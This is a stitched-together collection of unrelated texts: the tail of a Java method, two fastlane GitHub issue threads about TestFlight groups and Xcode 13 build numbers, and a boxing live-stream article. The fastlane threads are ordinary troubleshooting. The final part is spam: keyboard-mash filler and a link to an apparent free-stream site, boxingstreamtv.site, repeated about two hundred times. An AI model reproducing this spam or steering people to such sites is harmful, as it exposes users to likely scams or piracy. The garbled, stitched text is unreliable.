        catch (Exception e)
        {
            logger.log(Level.INFO, " FAILED auto FDT on port " + randomPort);
        }
        return randomPort;
    }

authors: Elyasin swamikevala

repo: fast-data-transfer/fdt


text:
I want to build testflight group

I want to build testflight group  . I use Fastlane deliver but I found  apple had changed api . so I use spaceship such as Spaceship::TestFlight::Group.new and Spaceship::ConnectAPI::BetaAppLocalization.new  and Spaceship::ConnectAPI::BetaGroup.new .its all  failed

Not sure where you got those "commands", but they do not really look that they should work. You might want to checkout the respective spaceship files: https://github.com/fastlane/fastlane/tree/master/spaceship/lib/spaceship/test_flight

repo: fastlane/fastlane


text:
Pilot action sets the wrong build number for Xcode 13 beta Testflight builds

New Issue Checklist

[x] Updated fastlane to the latest version
[x] I read the Contribution Guidelines
[x] I read docs.fastlane.tools
[x] I searched for existing GitHub issues

Issue Description
Hi!
Well, the team is currently prepping our apps for iOS 15. We noticed that build number is not set properly on all the builds created using Xcode 13 beta 5, particularly when uploaded to test flight (see screenshots below).
For versioning in general, we're using the fastlane stepincrement_build_number (see screenshots below) which is working as expected with builds created using Xcode 12.5.1 .
It's also worth menthotioning that we've tried setting the build_number on the pilot step explicitly, but didn't work as well.
We're not sure what has changed with Xcode 13 around app/build versioning that we need to adapt accordingly, so would appreciate some help. Thanks!
Command executed

This's the pilot command used in our fastlane pod:

pilot(
api_key_path: ENV['ASC_KEY_PATH'],
app_identifier: app_identifier,
changelog: ENV['NOTES'],
ipa: absolut_ipa_path,
wait_processing_interval: 180,
groups: groups,
build_number: build_nr  # value is: 6.5.0.3887
)

Environment

  🚫 fastlane environment 🚫
Stack

Key
Value

OS
11.4

Ruby
3.0.2

Bundler?
true

Git
git version 2.31.1

Installation Source
~/.rvm/gems/ruby-3.0.2/bin/fastlane

Host
macOS 11.4 (20F71)

Ruby Lib Dir
~/.rvm/rubies/ruby-3.0.2/lib

OpenSSL Version
OpenSSL 1.1.1k  25 Mar 2021

Is contained
false

Is homebrew
false

Is installed via Fabric.app
false

Xcode Path
/Applications/Xcode.app/Contents/Developer/

Xcode Version
12.4

Swift Version
5.3.2

fastlane files:
No Fastfile found
No Appfile found
fastlane gems

Gem
Version
Update-Status

fastlane
2.193.1
✅ Up-To-Date

Loaded fastlane plugins:

Plugin
Version
Update-Status

fastlane-plugin-upload_symbols_to_new_relic
0.1.1
✅ Up-To-Date

generated on: 2021-09-15

Also worth mentionting that our apps versioning setup follows the guidelines mentioned here.
And, I'm not entirely sure if this is relevant to this issue

I see similar problems with a new project I've created using Xcode 13.
When uploading it with pilot, I don't have a VERSION_NUMBER set because it cannot be detected.
I'm now debugging the get_version_number action...
Important note: New in Xcode 13 there is not necessarily a Info.plist file containing all the information which fastlane might rely on. Xcode 13 has a target configuration Generate Info.plist File which is enabled for new projects (therefore you won't find such a file in a new project)
The issue you've found is dated from Xcode 11 where the MARKETING_VERSION configuration has been introduced to Xcode and the CFBundleShortVersionString was referring to it.
In my Xcode 13 project there is no CFBundleShortVersionString in Info.plist... Looking for this setting in "Build Settings" highlights the Marketing Version setting.
IMO fastlane should fall back to get the MARKETING_VERSION build setting whenever it was unable to find a CFBundleShortVersionString.

Just something else: Apples agvtool seems to be unable to find the marketing version if it is only in the Xcode project
% agvtool what-marketing-version

No marketing version number (CFBundleShortVersionString) found for Jambase targets.

Looking for marketing version in native targets...
Looking for marketing version (CFBundleShortVersionString) in native targets...

Cannot find "Learn It.xcodeproj/../YES"
Found CFBundleShortVersionString of "" in "Learn It.xcodeproj/../iOS/Info.plist"
Found CFBundleShortVersionString of "" in "Learn It.xcodeproj/../macOS/Info.plist"

So perhaps Apples agvtool & Xcode 13.0 have some issues and are not yet ready for fastlane?

The fix I made in https://github.com/pd95/fastlane/commit/d1153132706e49f52d7817f1789de124d33379e8 here, did solve the issue for me. I don't know if you have a possibility to test it yourself.

Thanks a lot for taking the time to help! I gave your branch a try, but the problem still persists. I can still see that build_number is wrongly set on Testflight with the pilot step.  Not sure why the pattern changes with Xcode 13 builds, would be happy to provide additional insights/logs upon request. Thanks again!

Hmm... I've looked into pilot.rb and build_manager.rb and it seems as if the build_number argument is only used if you have no ipa or pkg parameter set: https://github.com/fastlane/fastlane/blob/a5616116d0e686a6975321bc38a51b5ce1e3c056/pilot/lib/pilot/build_manager.rb#L99-L110
As you have an IPA specified: could you check what version (CFBundleVersionString and CFBundleShortVersionString) are set in the Info.plist? If it is wrong in the IPA we would have to fix it there and not in the upload/pilot part.

I have the same issue. In Xcode 13 I have the option to not manage build versions automatically (Default is on). If I disable this I can upload the build manually.
Is there such an option for fastlane and Xcode 13?

We should add new option into export_options to disable automatic version set. This options is called:
manageAppVersionAndBuildNumber

This is the output from xcodebuild --help:
	manageAppVersionAndBuildNumber

		Should Xcode manage the app's build number when uploading to App Store Connect? Defaults to YES.

That would be optimal.
Do you have any recommendation what I could do in the mean time to fix my build scripts?
Can I set this option from the outside via an environment variable or something else?

That would be optimal.
Do you have any recommendation what I could do in the mean time to fix my build scripts?
Can I set this option from the outside via an environment variable or something else?

Well, i'm using build_ios_app action to build my apps. This action is an alias for the build_app action. Actually gym is also an alias for build_app action. As far as i know this action is responsible for building xcarchive and ipa. You can set export_options parameter to this action to disable new behavior introduced in Xcode 13. Here is an example from my project:
    build_ios_app(
      workspace: "test.xcworkspace",
      export_options: {
        compileBitcode: false,
        uploadBitcode: false,
        uploadSymbols: true,
        manageAppVersionAndBuildNumber: false
      }
    )

Thanks a lot for taking the time to look into it! I've tried the export_option approach and that does the trick 👍

authors: MohgaNabil SofteqDG alexsteinerde pd95


text:
[PPV/TV] — Artur Beterbiev vs. Dmitry Bivol LiVe 𝐒𝐭𝐫𝐞𝐚𝐦𝐬 FrEe BrOaDcAsT oN tV cHaNnEl 12th October 2024

The Beterbiev vs Bivol live stream sees two light-heavyweight title-holders go head-to-head in Riyadh, on Saturday October 12, 2024 to decide the undisputed champion of the world. The streaming options are a little convoluted, but we've done the research so you don't have to.
We are in store for a magnificent bout on Saturday, as Artur Beterbiev and Dmitry Bivol fight it out for the IBF, IBO, WBC and WBO light-heavyweight belts and to retain their undefeated records. Beterbiev is 20-0 with 100 percent of his victories coming by knockout. Bivol has won 23 out of 23 fights with 12 knockouts.
Beterbiev had to postpone the fight, which was originally scheduled for June, after injuring his knee, but he is fully fit again and ready to rumble. Bivol will look to do damage with his jab while evading Beterbiev's power punches. It promises to be an intriguing match-up.
Friday's weigh-in showed Beterbiev with a slight advantage at 174.96 lbs to 174.12 lbs. Time will tell whether or not that is significant. Bivol is the narrow favourite, but this one could go either way.
Read on for where to watch and stream Beterbiev vs Bivol live streams – the full fight – from anywhere in the world.
Watch Beterbiev vs Bivol in USA
Header Cell - Column 0 Main event Undercard
Time 6.35pm ET / 3.35pm PT 12.35pm ET / 9.35am PT
Streaming service ESPN Plus DAZN PPV
TV channel Unavailable Unavailable
In the US, you can watch Beterbiev vs Bivol on ESPN+. It's included with a standard ESPN+ subscription but it doesn't include the undercard.
Fans will need DAZN to watch the Beterbiev vs Bivol undercard in the US. It's a $19.99 PPV on top of a regular DAZN subscription. Pricey but tempting given that the undercard looks good. It's stacked with names and includes title fights at middleweight, cruiserweight and featherweight divisions.
Beterbiev vs Bivol starts at 6.35pm ET in the US. The undercard starts at 12.35pm ET.
Watch Beterbiev vs Bivol in the rest of the world
Header Cell - Column 0 Main event Undercard
Streaming service DAZN PPV DAZN PPV
TV channel Unavailable Unavailable
Almost everywhere else in the world, you can watch the Beterbiev vs Bivol fight on DAZN, including the undercard. It's a PPV in most regions too with prices equivalent to $19.99 in the local currency markets, apart from the UK where it's £19.99.
The only other thing to add is that you can also get a Beterbiev vs Bivol live stream on TNT Box Office in the UK for the same price of £19.99. After purchasing the fight, you'll be able to stream it on Discovery Plus.
Beterbiev vs Bivol starts at 11.35pm BST in the UK. The undercard starts at 5.35pm BST.
Can you watch Beterbiev vs Bivol in Canada?
Header Cell - Column 0 Main event Undercard
Time 6.35pm ET / 3.35pm PT 12.35pm ET / 9.35am PT
Streaming service Unavailable DAZN PPV
TV channel Unavailable Unavailable
This is the messed up part — no. You cannot watch the Beterbiev vs Bivol fight in Canada. At least it certainly doesn't look that way at the time of writing. DAZN has said that it doesn't have the rights to air the Beterbiev vs Bivol main event in the US or Canada but, while there's ESPN+ to show the fight in the States, there isn't the case north of the border.
We've checked the schedules of all the regular Canadian channels (TSN, GlobalTV, CityTV, CBC, Sportsnet and more) and none of them are broadcasting Beterbiev vs Bivol. And there's nothing on regular PPV providers like PPV.com or Triller.TV either.
So, either someone's going to come in late and save the day on this one or there is not going to be a Beterbiev vs Bivol live stream in Canada, which is crazy given that Artur Beterbiev is a Canadian citizen!
Watch Beterbiev vs Bivol from anywhere! (including Canada)
If you find yourself stuck for a local Beterbiev vs Bivol live stream, then you might want to try a VPN. We rate NordVPN as the best. A VPN allows you to set your device's location to anywhere in the world. That way, you can your usual live streams no matter where you are. Give it whirl.
Beterbiev vs Bivol: tale of the tape
Header Cell - Column 0 Artur Beterbiev Dmitry Bivol
Nationality Canadian Russia
Date of birth January 21, 1985 December 18, 1990
Height 6' 0" 6' 0"
Reach 73" 72"
Total fights 20 23
Record 20-0 (20 KOs) 23-0 (12 KOs)
Artur Beterbiev vs Dmitry Bivol full card
Artur Beterbiev vs. Dmitry Bivol - for IBF, IBO, WBC and WBO light-heavyweight titles
Jai Opetaia vs. Jack Massey - for IBF cruiserweight title
Fabio Wardley vs. Frazer Clarke
Chris Eubank Jr. vs. Kamil Szeremeta - for IBO middleweight title
Skye Nicolson vs. Raven Chapman - for WBC featherweight title
Ben Whittaker vs. Liam Cameron
Mohammaed Alakel vs. Jesus Gonzalez dsfw3e4werererdsfdsf

gfdgr

**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
